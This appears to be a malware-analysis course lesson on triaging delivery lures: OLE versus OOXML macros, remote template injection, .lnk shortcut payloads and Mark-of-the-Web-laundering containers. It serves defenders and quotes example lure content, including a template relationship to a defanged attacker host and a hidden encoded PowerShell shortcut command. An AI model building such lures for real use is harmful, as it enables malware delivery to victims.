Lesson 2 of 12 · 20m
Maldocs and Lures: Reading the Delivery Vehicle
The attachment is the detonation checklist: OLE vs OOXML macros, remote template injection, .lnk targets, and the containers that launder Mark-of-the-Web.
Open any real initial-access sample and the executable is almost never the first stage. What the victim received was a document, a container, or a shortcut — and the file type tells you which door the actor expected the victim to walk through. Microsoft's 2022 change to block VBA macros in internet-sourced Office docs killed the classic .docm lure, so the delivery meta moved to formats that don't carry Mark-of-the-Web: ISO and IMG archives, ZIPs holding .lnk shortcuts, OneNote .one files, and docs whose macros live on a remote server. Reading the delivery vehicle is triage, because the lure is the detonation checklist: it tells you which OS, which app, and which button press the sample needs to fire.
OLE vs OOXML: two file formats wearing the same extension
file and the first bytes split the family instantly:
D0 CF 11 E0 A1 B1 1A E1— OLE compound binary..doc,.xls,.msi, old-school.docminternals. Macros live in aVBAstorage stream.50 4B 03 04(PK) — OOXML, which is a zip..docx,.docm,.xlsm. Rununzip -land look forword/vbaProject.bin. NovbaProject.bin, no VBA — that is a fact, not a guess.
unzip -l invoice.docm | grep -iE 'vbaProject|embeddings|activeX'
olevba invoice.docm # oletools: extracts macros, flags suspicious keywordsolevba marks AutoOpen/Document_Open (execution triggers), Shell, CreateObject("WScript.Shell"), WriteProcessMemory, Chr$() loops rebuilding URLs, and base64 blobs. mraptor answers the narrower question — does this macro auto-execute on open? When the visible VBA is clean but behavior says otherwise, suspect VBA stomping: the stored p-code differs from the decompiled source. pcodedmp dumps the compiled bytecode and shows what actually runs. Excel 4.0 (XLM) macros hide in xl/macrosheets — XLMMacroDeobfuscator handles them.
The macro moved to the server
<!-- word/_rels/settings.xml.rels -->
<Relationship Type=".../attachedTemplate"
Target="https://cdn-office-template[.]top/dotm/main.dotm" TargetMode="External"/>That is remote template injection. The .docx itself is clean — no vbaProject.bin, nothing for a gateway to flag — and the macro arrives over HTTP when Word opens the file. If your triage stops at "no macro in the zip," you just cleared a live sample. Check settings.xml.rels for external Targets before you call a document empty.
.lnk files: the payload is the Target field
A shortcut is an icon and a command line. The whole trick is what fits in the Target:
Target: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Args: -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcA...
Icon: %SystemRoot%\system32\imageres.dll,-67 ; a PDF icon on a .lnkParse with LECmd (Eric Zimmerman's parser) or exiftool file.lnk — you get the target, args, icon path, and the tracker block (host MAC and volume serial of the machine that built it, which is occasionally attribution gold). Double-extension lures (statement.pdf.lnk) plus a borrowed icon do the rest of the social engineering.
Containers that launder Mark-of-the-Web
7z l update.iso shows you the tree: a .lnk, a .vbs, maybe a .dll masquerading as .dat. The reason actors pay the friction cost of "please mount this ISO" is MOTW propagation — files extracted from a mounted ISO or unpacked by tools that didn't propagate the zone identifier arrive unmarked, so SmartScreen reputation checks and Office's macro block never engage. CVE-2022-41091 (7-Zip failing to propagate MOTW) was abused for exactly this. OneNote .one files became a 2023 commodity lure for the same reason: flat binary, embedded attachments, no MOTW on what spawns — pyOneNote or oledump-style stream listing will show you the embedded file list without opening OneNote.
What the lure tells the lab
Every question in the "how do I detonate this" matrix from the sandbox lesson is answered by the lure. vbaProject.bin means Office must be installed and you must click Enable Content. An ISO means mount, then click what the victim clicked. A .one file means OneNote. A remote-template doc means your fake internet has to serve a plausible .dotm or the chain stops — that "inconclusive" is an artifact of your lab, not the sample. Triage the wrapper first, then make the VM look like the victim the actor wrote for.
Field notes
- A
.docxwith zero macros but an externalattachedTemplateis armed. Record the template URL as infrastructure, defanged. .lnktracker blocks leak the builder's machine name — occasionally the actor's actual workstation.olevbaseverity flags are triage hints, not verdicts;AutoOpen+Shell+ a URL is near-certain,Chrspam alone is just obfuscation.- Note the victim action in your report: "requires Enable Content" is a control-gap finding, not trivia — it's the reason the phish worked.
Was this lesson helpful?
Keep reading
Related articles from the SudoSecurity blog.
A Fake GTA 6 ISO Didn’t Install a Game. It Installed a Wiper.
A fake GTA 6 ISO used a believable installer error to cover remote-access malware, browser-data theft, and destructive file wiping. The “License not found” message wasn’t the crack failing. It was there so the victim would stop looking.
CVE-2025-62718: Critical Axios SSRF Vulnerability Explained
A critical SSRF flaw in Axios was used in a North Korean supply chain attack. Here's what it does and how to patch it today.
A Minecraft Mod Is a Program. In 2026, Attackers Started Acting Like It.
A Minecraft mod is a Java program that runs with your account's full permissions, and nothing in the game checks what it does.
Hacktivism, 2021 to Today: From Steel Mills to Power Grids
Part 1 ended on a 70-gigabyte breach in 2021. Since then, hacktivists derailed trains, dumped molten steel on camera, and reached grids in three countries.